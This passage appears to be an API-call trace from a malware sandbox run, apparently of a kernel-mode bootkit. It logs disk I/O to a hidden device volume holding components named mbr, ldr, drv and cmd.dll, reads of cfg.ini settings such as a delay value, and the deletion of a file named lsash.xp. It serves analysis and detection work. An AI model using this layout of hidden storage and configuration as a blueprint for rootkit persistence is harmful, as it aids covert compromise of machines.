IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.123] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.123] IdePortDispatch () returned 0x103 [0125.123] KeWaitForMutexObject () returned 0x0 [0125.124] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.124] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.124] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.124] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.124] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.124] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.124] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.124] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.124] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.124] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.124] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.124] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.124] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.124] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.124] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.124] KeLeaveCriticalRegion () [0125.124] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.124] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.124] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.124] KeEnterCriticalRegion () [0125.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.124] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.124] IdePortDispatch () returned 0x103 [0125.125] KeWaitForMutexObject () returned 0x0 [0125.125] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.125] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.125] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.125] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.125] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.125] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.125] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.125] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.125] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.125] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.125] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.125] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.125] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.125] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.125] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.125] KeLeaveCriticalRegion () [0125.125] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.125] ReleaseMutex (hMutex=0x100) returned 1 [0125.125] Sleep (dwMilliseconds=0x2bf20) [0125.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dc70cb0, dwHighDateTime=0x1d24fa4)) [0125.133] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.133] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.133] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.133] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.133] KeEnterCriticalRegion () [0125.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.134] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.134] IdePortDispatch () returned 0x103 [0125.134] KeWaitForMutexObject () returned 0x0 [0125.134] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.134] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.134] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.134] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.134] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.134] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8910 [0125.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.134] KeLeaveCriticalRegion () [0125.134] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.134] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.134] KeEnterCriticalRegion () [0125.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.134] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.134] KeLeaveCriticalRegion () [0125.134] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.134] KeEnterCriticalRegion () [0125.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.134] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.134] IdePortDispatch () returned 0x103 [0125.134] KeWaitForMutexObject () returned 0x0 [0125.134] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.134] KeLeaveCriticalRegion () [0125.135] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.135] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.135] KeEnterCriticalRegion () [0125.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.135] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bab000 [0125.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.135] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.135] IdePortDispatch () returned 0x103 [0125.135] KeWaitForMutexObject () returned 0x0 [0125.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.135] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.135] IdePortDispatch () returned 0x103 [0125.135] KeWaitForMutexObject () returned 0x0 [0125.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.135] KeLeaveCriticalRegion () [0125.135] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.136] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.136] KeEnterCriticalRegion () [0125.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.136] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.136] KeLeaveCriticalRegion () [0125.136] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.136] KeEnterCriticalRegion () [0125.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.136] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.136] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.136] KeLeaveCriticalRegion () [0125.136] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.136] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.136] KeEnterCriticalRegion () [0125.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.136] ExFreePoolWithTag (P=0xfffffa8003be8910, Tag=0x0) [0125.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.136] KeLeaveCriticalRegion () [0125.136] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.136] ReleaseMutex (hMutex=0xf0) returned 1 [0125.136] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.136] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.136] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.136] KeEnterCriticalRegion () [0125.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.136] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.136] IdePortDispatch () returned 0x103 [0125.137] KeWaitForMutexObject () returned 0x0 [0125.137] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.137] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.137] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.137] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.137] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.137] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9310 [0125.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.137] KeLeaveCriticalRegion () [0125.137] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.137] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.137] KeEnterCriticalRegion () [0125.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.137] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.137] KeLeaveCriticalRegion () [0125.137] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.137] KeEnterCriticalRegion () [0125.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.137] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.137] IdePortDispatch () returned 0x103 [0125.137] KeWaitForMutexObject () returned 0x0 [0125.137] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.137] KeLeaveCriticalRegion () [0125.137] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.137] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.138] KeEnterCriticalRegion () [0125.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.138] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bac000 [0125.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.138] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.138] IdePortDispatch () returned 0x103 [0125.138] KeWaitForMutexObject () returned 0x0 [0125.138] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.138] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.138] IdePortDispatch () returned 0x103 [0125.138] KeWaitForMutexObject () returned 0x0 [0125.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.138] KeLeaveCriticalRegion () [0125.138] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.139] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.139] KeEnterCriticalRegion () [0125.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.139] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.139] KeLeaveCriticalRegion () [0125.139] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.139] KeEnterCriticalRegion () [0125.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.139] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.139] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.139] KeLeaveCriticalRegion () [0125.139] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.139] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.139] KeEnterCriticalRegion () [0125.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.139] ExFreePoolWithTag (P=0xfffffa8003be9310, Tag=0x0) [0125.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.139] KeLeaveCriticalRegion () [0125.139] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.139] ReleaseMutex (hMutex=0xf0) returned 1 [0125.139] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.139] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.139] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.139] KeEnterCriticalRegion () [0125.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.139] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.139] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.139] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.139] IdePortDispatch () returned 0x103 [0125.140] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.140] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.140] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.140] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.140] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.140] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf54b0 [0125.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.140] KeLeaveCriticalRegion () [0125.140] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.140] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.140] KeEnterCriticalRegion () [0125.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.140] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.140] KeLeaveCriticalRegion () [0125.140] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.140] KeEnterCriticalRegion () [0125.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.140] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.140] IdePortDispatch () returned 0x103 [0125.141] KeWaitForMutexObject () returned 0x0 [0125.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.141] KeLeaveCriticalRegion () [0125.141] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.141] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.141] KeEnterCriticalRegion () [0125.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bad000 [0125.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.141] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.141] IdePortDispatch () returned 0x103 [0125.141] KeWaitForMutexObject () returned 0x0 [0125.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.141] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.141] IdePortDispatch () returned 0x103 [0125.142] KeWaitForMutexObject () returned 0x0 [0125.142] 